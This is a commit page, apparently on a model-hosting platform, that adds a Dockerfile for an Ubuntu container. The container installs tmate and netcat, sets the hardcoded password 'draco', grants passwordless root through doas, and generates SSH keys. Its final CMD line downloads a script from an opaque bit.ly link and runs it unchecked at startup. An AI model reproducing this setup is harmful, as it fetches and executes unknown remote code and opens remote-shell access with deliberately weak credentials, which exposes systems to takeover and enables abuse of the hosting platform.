dracoox commited on
Commit
3aba826
·
verified ·
1 Parent(s): 21f46ec

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +57 -0
Dockerfile ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM ubuntu:22.04
2
+
3
+ ENV DEBIAN_FRONTEND=noninteractive
4
+ ENV LANG=en_US.UTF-8
5
+ ENV LANGUAGE=en_US:en
6
+ ENV LC_ALL=en_US.UTF-8
7
+
8
+ # Install dependencies
9
+ RUN apt update && apt upgrade -y && \
10
+ apt install -y \
11
+ curl wget git gnupg openssh-client \
12
+ neofetch tmate python3 python3-pip \
13
+ ca-certificates software-properties-common \
14
+ build-essential procps xz-utils net-tools \
15
+ make ffmpeg nano vim htop unzip zip \
16
+ iputils-ping tree lsof netcat tmux \
17
+ locales cmake && \
18
+ locale-gen en_US.UTF-8 && \
19
+ apt clean && rm -rf /var/lib/apt/lists/* && \
20
+ apt update && apt install -y doas
21
+
22
+ # Install Node.js 22 and npm
23
+ RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
24
+ apt install -y nodejs && npm install -g npm
25
+
26
+ # Install speedtest-cli
27
+ RUN pip3 install speedtest-cli
28
+
29
+ # Create user 'draco' with UID 1000 and password 'draco'
30
+ RUN useradd -m -s /bin/bash draco && \
31
+ echo "draco:draco" | chpasswd && \
32
+ usermod -u 1000 draco
33
+
34
+ # Allow 'draco' to use doas without password
35
+ RUN echo "permit nopass draco" > /etc/doas.conf
36
+
37
+ # Optional: alias sudo to doas
38
+ RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
39
+
40
+ # SSH setup for 'draco'
41
+ RUN mkdir -p /home/draco/.ssh && \
42
+ ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
43
+ chown -R draco:draco /home/draco/.ssh
44
+
45
+ # Copy tmate launcher script (optional, create this file if needed)
46
+ COPY run_tmate.sh /home/draco/run_tmate.sh
47
+ RUN chmod +x /home/draco/run_tmate.sh && chown draco:draco /home/draco/run_tmate.sh
48
+
49
+ # Switch to draco user and working directory
50
+ USER draco
51
+ WORKDIR /home/draco
52
+
53
+ # Expose HTTP server port
54
+ EXPOSE 7860
55
+
56
+ # Download and run external script as draco
57
+ CMD wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh && python3 -m http.server 7860